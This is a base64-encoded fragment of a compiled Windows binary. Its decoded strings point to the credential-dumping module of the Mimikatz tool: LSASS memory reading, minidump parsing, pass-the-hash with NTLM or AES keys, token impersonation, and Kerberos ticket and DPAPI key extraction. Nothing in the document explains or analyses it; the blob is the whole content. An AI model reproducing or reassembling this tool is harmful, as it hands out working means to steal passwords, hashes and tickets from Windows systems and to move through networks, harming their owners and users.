cgAAAAAAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAAAAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8AQQBNAEQANgA0ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABLAGUAeQAgAGkAbQBwAG8AcgB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AZwBvAG4AIABsAGkAcwB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAG8AZAB1AGwAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAAAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAAAAAAAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAE4AZQB0AHcAbwByAGsAAABCAGEAdABjAGgAAAAAAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAAAAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAAAAAAAE4AZQB3AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAAAAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAAAAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEwAbwBnAG8AbgAgAFMAZQByAHYAZQByACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAAAAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUAByAGUAdgBpAG8AdQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAASwBEAEMAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAACgAlAHMAIABrAHIAYgB0AGcAdAA6ACAAAAAAAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAoAAAAAAAAAZgB1AGwAbAA6ACAAAAAAAAoAbQAvAHUAIAA6ACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwB0AHIAdQBzAHQAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAASwBEAEMAIABzAGUAcgB2AGkAYwBlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHQAcgB1AHMAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHUAcwB0ACAAOwAgAE8AbgBsAHkAIABmAG8AcgAgAD4APQAgADIAMAAwADgAcgAyAAoAAAAAAAAACgAgACAAWwAlAHMAXQAgAAAAAAAAAAAALQA+ACAAJQB3AFoACgAAACUAdwBaACAALQA+AAoAAAAJAGYAcgBvAG0AOgAgAAAACQAqACAAJQBzACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGIAawBlAHkAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAgACAAfAAgACAATABVAEkARAAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgAAAAAAIAAgAFwAXwAgAG0AcwB2ADEAXwAwACAAIAAgAC0AIAAAAAAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ALwByAGMANAAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMA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dAAgAEcAcgBhAG4AdABpAG4AZwAgAFMAZQByAHYAaQBjAGUAAABDAGwAaQBlAG4AdAAgAFQAaQBjAGsAZQB0ACAAPwAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAVABpAGMAawBlAHQAAAAAAAoACQBHAHIAbwB1AHAAIAAlAHUAIAAtACAAJQBzAAAACgAJACAAKgAgAEsAZQB5ACAATABpAHMAdAAgADoACgAAAAAAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGUAbgB1AG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHQAaAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIABcAF8AIAAqAFAAYQBzAHMAdwBvAHIAZAAgAHIAZQBwAGwAYQBjAGUAIAAtAD4AIAAAAAAAAAAAAG4AdQBsAGwAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAJACAAIAAgAEwAUwBBACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC4AJQBzAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABQcmltYXJ5AENyZWRlbnRpYWxLZXlz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MDEAAAAAYPAHACgCAAAucnNyYyQwMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAESBQASYg5wDWAMUAswAAABGAoAGGQKABhUCQAYNAgAGDIU8BLgEHABDwYAD2QHAA80BgAPMgtwAQQBAATiAAABBgIABlICMAEmCgAmAREAG/AZ4BfQFcATcBJgETAQUAEKBAAKNAcACjIGcAEYCgAYZA4AGFQNABg0DAAYchTwEuAQcAEQBgAQZAgAEDQHABAyDHABHQwAHXQLAB1kCgAdVAkAHTQIAB0yGfAX4BXAAQoEAAo0CgAKcgZwASAMACBkDQAgVAwAIDQLACAyHPAa4BjQFsAUcAEYBgAYZAsAGDQKABhyFHABGQoAGXQJABlkCAAZVAcAGTQGABkyFeABDwYAD1QJAA80CAAPUgtwARIIABJUCgASNAgAEjIO4AxwC2ABCgQACjQGAAoyBnABGAYAGGQHABg0BgAYMhRwARkKABl0DgAZZA0AGTQMABlyFfAT4BHAARQIABRkCAAUVAcAFDQGABQyEHABGQoAGXQNABlkDAAZVAsAGTQKABlyFeABHQwAHXQNAB1kDAAdVAsAHTQKAB1SGfAX4BXAASMNACPEMwAjdDIAI2QxACM0MAAjASwAGPAW0BRQAAABFAYAFDQNABRSDXAMYAtQARgIABhkFgAYNBUAGPIO4AxwC1ABJAoAJDQZACTSHfAb4BnQF8AVcBRgE1ABHwwAH3QXAB9kFQAfNBQAH9IY8BbgFNASwBBQARwMABxkFQAcVBMAHDQSAByyGPAW4BTQEsAQcAEXCAAXZA8AF1QOABc0DQAXkhNwASQKACQ0FAAkkh3wG+AZ0BfAFXAUYBNQAQgCAAhyBDABGAoAGGQUABhUEwAYNBIAGNIU8BLgEHABHQwAHXQLAB1kCgAdVAkAHTQIAB0yGfAX4BXQAQoCAAoyBjABFAgAFGQKABRUCQAUNAgAFFIQcAEPBgAPZAkADzQIAA9SC3ABEwQAEzQGABMyD3ABFAoAFDQNABQyEPAO4AzQCsAIcAdgBlABCgQACjQIAApSBnABDwYAD1QJAA80CAAPUgtgASMNACN0IgAjZCEAIzQgACMBGgAY8BbgFNASwBBQAAABGQoAGTQWABnSFfAT4BHQD8ANcAxgC1ABHwkAH+Ib8BngF9AVwBNwEmARUBAwAAABGQoAGeQTABl0EgAZZBEAGTQQABnSFfABIwwAI2QZACNUGAAjNBYAI/Ic8BrgGNAWwBRwAQoEAAo0DgAKsgZwASIJACLiG/AZ4BfQFcATcBJgETAQUAAAAR8MAB90FgAfZBUAHzQUAB/SGPAW4BTQEsAQUAEeCgAeNBUAHrIa8BjgFtAUwBJwEWAQUAEVCAAVdA4AFWQNABU0DAAVkhHgARQGABRkDgAUNAwAFJIQcAESCAASVA8AEjQOABJyDuAMcAtgASAMACBkEwAgVBIAIDQRACCSHPAa4BjQFsAUcAEQBgAQZA0AEDQMABCSDH